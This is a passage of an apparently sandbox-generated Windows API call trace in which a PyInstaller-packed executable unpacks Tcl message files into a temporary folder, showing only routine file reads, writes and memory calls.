lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.808] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.808] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.808] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.809] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.809] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.809] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.809] CloseHandle (hObject=0x10c) returned 1 [0037.809] GetLastError () returned 0x0 [0037.809] SetLastError (dwErrCode=0x0) [0037.809] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sw.msg") returned 61 [0037.809] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sw.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sw.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.809] GetLastError () returned 0x2 [0037.809] SetLastError (dwErrCode=0x2) [0037.809] GetLastError () returned 0x2 [0037.809] SetLastError (dwErrCode=0x2) [0037.809] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sw.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sw.msg", lpFilePart=0x0) returned 0x3c [0037.809] GetLastError () returned 0x2 [0037.809] SetLastError (dwErrCode=0x2) [0037.809] GetLastError () returned 0x2 [0037.809] SetLastError (dwErrCode=0x2) [0037.809] GetLastError () returned 0x2 [0037.809] SetLastError (dwErrCode=0x2) [0037.809] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sw.msg") returned 61 [0037.809] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.809] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\sw.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\sw.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.809] GetFileType (hFile=0x10c) returned 0x1 [0037.809] htonl (hostlong=0xdf030000) returned 0x3df [0037.810] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.810] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x3df, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x3df, lpOverlapped=0x0) returned 1 [0037.810] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.811] CloseHandle (hObject=0x10c) returned 1 [0037.811] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550748 | out: hHeap=0x530000) returned 1 [0037.811] htonl (hostlong=0x30000000) returned 0x30 [0037.811] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.811] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.811] GetFileType (hFile=0x10c) returned 0x1 [0037.811] htonl (hostlong=0x2fa15700) returned 0x57a12f [0037.811] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c512f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.812] htonl (hostlong=0x71010000) returned 0x171 [0037.812] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x171) returned 0x550600 [0037.812] htonl (hostlong=0x71010000) returned 0x171 [0037.812] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.812] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.812] htonl (hostlong=0x2b070000) returned 0x72b [0037.812] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72b) returned 0x55e278 [0037.812] htonl (hostlong=0x71010000) returned 0x171 [0037.812] htonl (hostlong=0x2b070000) returned 0x72b [0037.812] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.812] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.812] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.812] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.812] CloseHandle (hObject=0x10c) returned 1 [0037.812] GetLastError () returned 0x0 [0037.812] SetLastError (dwErrCode=0x0) [0037.812] GetLastError () returned 0x0 [0037.812] SetLastError (dwErrCode=0x0) [0037.812] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.812] GetFileType (hFile=0x10c) returned 0x1 [0037.812] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.812] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.812] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.812] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.812] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.813] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.813] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.813] CloseHandle (hObject=0x10c) returned 1 [0037.813] GetLastError () returned 0x0 [0037.813] SetLastError (dwErrCode=0x0) [0037.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.813] GetFileType (hFile=0x10c) returned 0x1 [0037.813] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.813] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.813] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.813] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.813] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.813] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.813] CloseHandle (hObject=0x10c) returned 1 [0037.813] GetLastError () returned 0x0 [0037.814] SetLastError (dwErrCode=0x0) [0037.814] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta.msg") returned 61 [0037.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ta.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.814] GetLastError () returned 0x2 [0037.814] SetLastError (dwErrCode=0x2) [0037.814] GetLastError () returned 0x2 [0037.814] SetLastError (dwErrCode=0x2) [0037.814] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta.msg", lpFilePart=0x0) returned 0x3c [0037.814] GetLastError () returned 0x2 [0037.814] SetLastError (dwErrCode=0x2) [0037.814] GetLastError () returned 0x2 [0037.814] SetLastError (dwErrCode=0x2) [0037.814] GetLastError () returned 0x2 [0037.814] SetLastError (dwErrCode=0x2) [0037.814] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta.msg") returned 61 [0037.814] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ta.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.815] GetFileType (hFile=0x10c) returned 0x1 [0037.815] htonl (hostlong=0x2b070000) returned 0x72b [0037.815] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.815] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x72b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x72b, lpOverlapped=0x0) returned 1 [0037.816] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.816] CloseHandle (hObject=0x10c) returned 1 [0037.816] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.816] htonl (hostlong=0x30000000) returned 0x30 [0037.816] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.816] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.816] GetFileType (hFile=0x10c) returned 0x1 [0037.816] htonl (hostlong=0xa0a25700) returned 0x57a2a0 [0037.816] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c52a0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.817] htonl (hostlong=0x9e000000) returned 0x9e [0037.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x55cfe0 [0037.817] htonl (hostlong=0x9e000000) returned 0x9e [0037.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.817] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.817] htonl (hostlong=0xfb000000) returned 0xfb [0037.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.817] htonl (hostlong=0x9e000000) returned 0x9e [0037.817] htonl (hostlong=0xfb000000) returned 0xfb [0037.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.817] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.817] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.817] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.817] CloseHandle (hObject=0x10c) returned 1 [0037.817] GetLastError () returned 0x0 [0037.817] SetLastError (dwErrCode=0x0) [0037.817] GetLastError () returned 0x0 [0037.817] SetLastError (dwErrCode=0x0) [0037.817] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.817] GetFileType (hFile=0x10c) returned 0x1 [0037.817] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.817] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.817] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.817] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.818] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.818] CloseHandle (hObject=0x10c) returned 1 [0037.818] GetLastError () returned 0x0 [0037.818] SetLastError (dwErrCode=0x0) [0037.818] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.818] GetFileType (hFile=0x10c) returned 0x1 [0037.818] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.818] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.818] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.818] CloseHandle (hObject=0x10c) returned 1 [0037.818] GetLastError () returned 0x0 [0037.818] SetLastError (dwErrCode=0x0) [0037.818] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta_in.msg") returned 64 [0037.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ta_in.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.819] GetLastError () returned 0x2 [0037.819] SetLastError (dwErrCode=0x2) [0037.819] GetLastError () returned 0x2 [0037.819] SetLastError (dwErrCode=0x2) [0037.819] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta_in.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta_in.msg", lpFilePart=0x0) returned 0x3f [0037.819] GetLastError () returned 0x2 [0037.819] SetLastError (dwErrCode=0x2) [0037.819] GetLastError () returned 0x2 [0037.819] SetLastError (dwErrCode=0x2) [0037.819] GetLastError () returned 0x2 [0037.819] SetLastError (dwErrCode=0x2) [0037.819] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta_in.msg") returned 64 [0037.819] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ta_in.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ta_in.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.820] GetFileType (hFile=0x10c) returned 0x1 [0037.820] htonl (hostlong=0xfb000000) returned 0xfb [0037.820] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.820] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.821] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.821] CloseHandle (hObject=0x10c) returned 1 [0037.821] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.821] htonl (hostlong=0x30000000) returned 0x30 [0037.821] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.821] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.821] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.822] GetFileType (hFile=0x10c) returned 0x1 [0037.822] htonl (hostlong=0x3ea35700) returned 0x57a33e [0037.822] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c533e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.822] htonl (hostlong=0x7d010000) returned 0x17d [0037.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x17d) returned 0x550600 [0037.822] htonl (hostlong=0x7d010000) returned 0x17d [0037.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.822] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | 